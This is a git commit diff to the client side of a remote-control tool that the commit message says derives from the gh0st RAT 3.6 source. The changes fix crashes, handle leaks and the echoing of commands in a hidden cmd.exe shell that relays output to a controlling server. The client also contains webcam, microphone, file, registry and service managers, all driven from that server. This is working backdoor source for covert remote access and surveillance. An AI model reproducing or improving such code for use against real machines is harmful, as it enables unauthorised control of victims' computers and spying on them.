修复注册表管理窗口关闭时崩溃的缺陷

1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.

2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。

3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap
modified after it was freed"问题。
This commit is contained in:
yuanyuanxiang
2019-01-12 18:21:42 +08:00
parent 135a3439d1
commit 681ab9bd82
30 changed files with 913 additions and 562 deletions

View File

@@ -114,6 +114,7 @@ BOOL CAudio::InitializeWaveIn()
//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (mmResult != MMSYSERR_NOERROR)
{
CloseHandle(h);
return FALSE;
}

View File

@@ -92,6 +92,8 @@ CAudioManager::~CAudioManager()
{
m_bIsWorking = FALSE; //<2F><EFBFBD><E8B6A8><EFBFBD><EFBFBD>״̬Ϊ<CCAC><CEAA>
WaitForSingleObject(m_hWorkThread, INFINITE); //<2F>ȴ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>߳̽<DFB3><CCBD><EFBFBD>
if (m_hWorkThread)
CloseHandle(m_hWorkThread);
if (m_AudioObject!=NULL)
{

View File

@@ -14,7 +14,6 @@ CCaptureVideo::CCaptureVideo()
{
if(FAILED(CoInitialize(NULL)))
{
return;
}
m_pCapture = NULL;
@@ -128,9 +127,7 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
HRESULT CCaptureVideo::InitCaptureGraphBuilder()
{
HRESULT hResult;
hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC,
HRESULT hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC,
IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //<2F><>ʵ<EFBFBD>
if (FAILED(hResult))
@@ -146,7 +143,6 @@ HRESULT CCaptureVideo::InitCaptureGraphBuilder()
return hResult;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>˰󶨵<CBB0><F3B6A8B5><EFBFBD>ʵ<EFBFBD><EFBFBD><E8B1B8><EFBFBD><EFBFBD>
m_pCapture->SetFiltergraph(m_pGB);
hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC);
if (FAILED(hResult))
@@ -154,7 +150,6 @@ HRESULT CCaptureVideo::InitCaptureGraphBuilder()
return hResult;
}
//???
hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW);
if (FAILED(hResult))
{
@@ -253,7 +248,7 @@ void CCaptureVideo::ResizeVideoWindow()
void CCaptureVideo::SendEnd() //<2F><><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD> <20><><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
{
InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY); //ԭ<><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> //ԭ<><D4AD><EFBFBD>Լ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>copy
InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY);
}
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
@@ -263,7 +258,7 @@ LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
{
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
{
szBuffer = mCB.GetNextScreen(dwSize); //ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
szBuffer = mCB.GetNextScreen(dwSize);//ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
} while (szBuffer==NULL);

View File

@@ -65,7 +65,7 @@ public:
m_ulFullHeight = 0 ;
}
LPBITMAPINFO GetBmpInfor() //
LPBITMAPINFO GetBmpInfor()
{
if (m_BitmapInfor_Full==NULL) //ͷ<><CDB7>Ϣ
{
@@ -113,7 +113,6 @@ public:
STDMETHODIMP QueryInterface(REFIID riid, void ** lParam)
{
//???
if( riid == IID_ISampleGrabberCB || riid == IID_IUnknown ){
*lParam = (void *) static_cast<ISampleGrabberCB*> ( this );
return NOERROR;

View File

@@ -10,6 +10,7 @@
#include "RegisterManager.h"
#include "ServicesManager.h"
#include "VideoManager.h"
#include "KernelManager.h"
extern char g_szServerIP[MAX_PATH];
extern unsigned short g_uPort;
@@ -49,13 +50,15 @@ DWORD WINAPI ThreadProc(LPVOID lParam)
template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
{
IOCPClient *ClientObject = (IOCPClient *)lParam;
ThreadInfo *pInfo = (ThreadInfo *)lParam;
IOCPClient *ClientObject = pInfo->p;
if (ClientObject->ConnectServer(g_szServerIP,g_uPort))
{
Manager m(ClientObject, n);
ClientObject->RunEventLoop();
ClientObject->RunEventLoop(pInfo->run);
}
delete ClientObject;
pInfo->p = NULL;
return 0;
}

File diff suppressed because it is too large Load Diff

View File

@@ -1,44 +1,60 @@
// FileManager.h: interface for the CFileManager class.
//
//////////////////////////////////////////////////////////////////////
#include "IOCPClient.h"
#include "common.h"
typedef IOCPClient CClientSocket;
#if !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_)
#define AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
#include <winsock2.h>
#include <list>
#include <string>
#include "Manager.h"
using namespace std;
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "IOCPClient.h"
typedef struct
{
DWORD dwSizeHigh;
DWORD dwSizeLow;
}FILE_SIZE;
UINT nFileSize; // <20>ļ<EFBFBD><C4BC><EFBFBD>С
UINT nSendSize; // <20>ѷ<EFBFBD><D1B7>ʹ<EFBFBD>С
}SENDFILEPROGRESS, *PSENDFILEPROGRESS;
class CFileManager : public CManager
class CFileManager : public CManager
{
public:
CFileManager(IOCPClient* ClientObject, int n);
void OnReceive(LPBYTE lpBuffer, UINT nSize);
UINT SendDriveList();
CFileManager(CClientSocket *pClient, int h = 0);
virtual ~CFileManager();
private:
list <string> m_UploadList;
UINT m_nTransferMode;
char m_strCurrentProcessFileName[MAX_PATH]; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
__int64 m_nCurrentProcessFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ij<EFBFBD><C4B3><EFBFBD>
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
bool UploadToRemote(LPBYTE lpBuffer);
bool FixedUploadList(LPCTSTR lpszDirectory);
void StopTransfer();
UINT SendFilesList(LPCTSTR lpszDirectory);
bool DeleteDirectory(LPCTSTR lpszDirectory);
UINT SendFileSize(LPCTSTR lpszFileName);
UINT SendFileData(LPBYTE lpBuffer);
void CreateFolder(LPBYTE lpBuffer);
void Rename(LPBYTE lpBuffer);
int SendToken(BYTE bToken);
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
ULONG CFileManager::SendDiskDriverList() ;
ULONG CFileManager::SendFilesList(char* szDirectoryPath);
VOID CFileManager::CreateClientRecvFile(LPBYTE szBuffer);
BOOL CFileManager::MakeSureDirectoryPathExists(char* szDirectoryFullPath);
char m_szOperatingFileName[MAX_PATH];
__int64 m_OperatingFileLength;
VOID CFileManager::GetFileData() ;
VOID CFileManager::WriteClientRecvFile(LPBYTE szBuffer, ULONG ulLength);
ULONG m_ulTransferMode;
VOID CFileManager::SetTransferMode(LPBYTE szBuffer);
VOID CFileManager::Rename(char* szExistingFileFullPath,char* szNewFileFullPath);
void CreateLocalRecvFile(LPBYTE lpBuffer);
void SetTransferMode(LPBYTE lpBuffer);
void GetFileData();
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
void UploadNext();
bool OpenFile(LPCTSTR lpFile, INT nShowCmd);
};
#endif // !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_)
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)

View File

@@ -338,9 +338,10 @@ VOID IOCPClient::Disconnect()
}
VOID IOCPClient::RunEventLoop()
VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
{
OutputDebugStringA("======> RunEventLoop begin\n");
while (m_bIsRunning) Sleep(200);
while (m_bIsRunning && bCondition)
Sleep(200);
OutputDebugStringA("======> RunEventLoop end\n");
}

View File

@@ -54,7 +54,7 @@ public:
VOID setManagerCallBack(class CManager* Manager);
VOID Disconnect();
VOID RunEventLoop();
VOID RunEventLoop(const BOOL &bCondition);
bool IsConnected() const { return m_bConnected; }
public:

View File

@@ -11,12 +11,12 @@
CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
{
memset(m_hThread, NULL, sizeof(ThreadInfo) * 0x1000);
m_ulThreadCount = 0;
}
CKernelManager::~CKernelManager()
{
printf("~CKernelManager \n");
int i = 0;
for (i=0;i<0x1000;i++)
{
@@ -24,6 +24,9 @@ CKernelManager::~CKernelManager()
{
CloseHandle(m_hThread[i].h);
m_hThread[i].h = NULL;
m_hThread[i].run = FALSE;
while (m_hThread[i].p)
Sleep(50);
}
}
m_ulThreadCount = 0;
@@ -40,7 +43,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopTalkManager,
pNew, 0, NULL);;
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -48,7 +51,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopShellManager,
pNew, 0, NULL);;
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -56,7 +59,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)LoopProcessManager,
pNew, 0, NULL);;
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -64,14 +67,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopWindowManager,
pNew, 0, NULL);;
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_BYE:
{
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
m_ClientObject->OnServerSending((char*)&bToken, 1);
m_ClientObject->OnServerSending((char*)&bToken, 1);
OutputDebugStringA("======> Bye bye \n");
m_hThread[m_ulThreadCount].p = NULL;
delete pNew;
pNew = NULL;
break;
}
@@ -79,7 +86,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopScreenManager,
pNew, 0, NULL);;
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -87,7 +94,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopFileManager,
pNew, 0, NULL);;
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -95,7 +102,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopVideoManager,
pNew, 0, NULL);;
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -103,7 +110,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopAudioManager,
pNew, 0, NULL);;
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -111,7 +118,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopRegisterManager,
pNew, 0, NULL);;
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -119,7 +126,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopServicesManager,
pNew, 0, NULL);
&m_hThread[m_ulThreadCount], 0, NULL);
break;
}

View File

@@ -15,9 +15,10 @@
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD><EFBFBD><E1B9B9>
struct ThreadInfo
{
BOOL run;
HANDLE h;
IOCPClient *p;
ThreadInfo() : h(NULL), p(NULL){ }
ThreadInfo() : run(TRUE), h(NULL), p(NULL){ }
};
class CKernelManager : public CManager

View File

@@ -26,6 +26,17 @@ CManager::~CManager()
}
}
int CManager::Send(LPBYTE lpData, UINT nSize)
{
int nRet = 0;
try
{
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
}catch(...){};
return nRet;
}
VOID CManager::WaitForDialogOpen()
{
WaitForSingleObject(m_hEventDlgOpen, INFINITE);

View File

@@ -29,8 +29,6 @@ STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ"
FONT 10, "System", 0, 0, 0x0
BEGIN
DEFPUSHBUTTON "OK",IDOK,27,87,50,14
PUSHBUTTON "Cancel",IDCANCEL,104,87,50,14
EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER
END

View File

@@ -16,14 +16,15 @@ BOOL bStarting = TRUE;
CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{
m_nCmdLength = 0;
bStarting = TRUE;
m_hThreadRead = NULL;
m_hShellProcessHandle = NULL; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
m_hShellThreadHandle = NULL;
SECURITY_ATTRIBUTES sa = {0};
SECURITY_ATTRIBUTES sa = {0};
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE; //<2F><>Ҫ
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE; //<2F><>Ҫ
m_hReadPipeHandle = NULL; //client
m_hWritePipeHandle = NULL; //client
m_hReadPipeShell = NULL; //cmd
@@ -40,9 +41,9 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj
CloseHandle(m_hWritePipeShell);
}
return;
}
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
}
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
{
if(m_hWritePipeHandle != NULL)
{
@@ -53,10 +54,10 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj
CloseHandle(m_hReadPipeShell);
}
return;
}
}
//<2F><><EFBFBD><EFBFBD>Cmd FullPath
char strShellPath[MAX_PATH] = {0};
char strShellPath[MAX_PATH] = {0};
GetSystemDirectory(strShellPath, MAX_PATH); //C:\windows\system32
//C:\windows\system32\cmd.exe
strcat(strShellPath,"\\cmd.exe");
@@ -68,19 +69,19 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj
PROCESS_INFORMATION pi = {0}; //CreateProcess
memset((void *)&si, 0, sizeof(si));
memset((void *)&pi, 0, sizeof(pi));
memset((void *)&pi, 0, sizeof(pi));
si.cb = sizeof(STARTUPINFO); //<2F><>Ҫ
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = m_hReadPipeShell; //<2F><><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD>ֵ
si.hStdOutput = si.hStdError = m_hWritePipeShell;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = m_hReadPipeShell; //<2F><><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD>ֵ
si.hStdOutput = si.hStdError = m_hWritePipeShell;
si.wShowWindow = SW_HIDE;
//<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD><EFBFBD>
//3 <20>̳<EFBFBD>
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
{
@@ -89,7 +90,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj
CloseHandle(m_hReadPipeShell);
CloseHandle(m_hWritePipeShell);
return;
}
}
m_hShellProcessHandle = pi.hProcess; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
m_hShellThreadHandle = pi.hThread;
@@ -124,9 +125,14 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
//<2F><>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
ReadFile(This->m_hReadPipeHandle,
szTotalBuffer, dwTotal, &dwReturn, NULL);
This->m_ClientObject->OnServerSending((char*)szTotalBuffer, dwReturn);
#ifdef _DEBUG
printf("===> Input length= %d \n", This->m_nCmdLength);
#endif
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
int length = int(dwReturn) - This->m_nCmdLength;
if (length > 0)
This->m_ClientObject->OnServerSending(pStart, length);
LocalFree(szTotalBuffer);
}
}
@@ -140,31 +146,27 @@ VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
case COMMAND_NEXT:
{
NotifyDialogIsOpen();
NotifyDialogIsOpen();
break;
}
}
default:
{
{
m_nCmdLength = (ulLength - 2);// <20><><EFBFBD><EFBFBD>"\r\n"
unsigned long dwReturn = 0;
if(WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL))
{
}
WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL);
break;
}
}
}
CShellManager::~CShellManager()
{
bStarting = FALSE;
TerminateProcess(m_hShellProcessHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD><EFBFBD>
TerminateThread(m_hShellThreadHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D>߳<EFBFBD>
Sleep(100);
if (m_hReadPipeHandle != NULL)
{
DisconnectNamedPipe(m_hReadPipeHandle);
@@ -174,8 +176,8 @@ CShellManager::~CShellManager()
if (m_hWritePipeHandle != NULL)
{
DisconnectNamedPipe(m_hWritePipeHandle);
CloseHandle(m_hWritePipeHandle);
m_hWritePipeHandle = NULL;
CloseHandle(m_hWritePipeHandle);
m_hWritePipeHandle = NULL;
}
if (m_hReadPipeShell != NULL)
{
@@ -186,7 +188,12 @@ CShellManager::~CShellManager()
if (m_hWritePipeShell != NULL)
{
DisconnectNamedPipe(m_hWritePipeShell);
CloseHandle(m_hWritePipeShell);
m_hWritePipeShell = NULL;
CloseHandle(m_hWritePipeShell);
m_hWritePipeShell = NULL;
}
if (m_hThreadRead)
{
CloseHandle(m_hThreadRead);
m_hThreadRead = NULL;
}
}

View File

@@ -28,7 +28,7 @@ public:
static DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam);
HANDLE m_hThreadRead;
int m_nCmdLength; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4>
HANDLE m_hShellProcessHandle; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
HANDLE m_hShellThreadHandle;
};

View File

@@ -15,8 +15,8 @@ using namespace std;
#define ID_TIMER_DELAY_DISPLAY 2
#define ID_TIMER_CLOSE_WINDOW 3
#define WIN_WIDTH 120
#define WIN_HEIGHT 120
#define WIN_WIDTH 250
#define WIN_HEIGHT 250
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

View File

@@ -2,7 +2,7 @@
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>192.168.104.248 2356</LocalDebuggerCommandArguments>
<LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>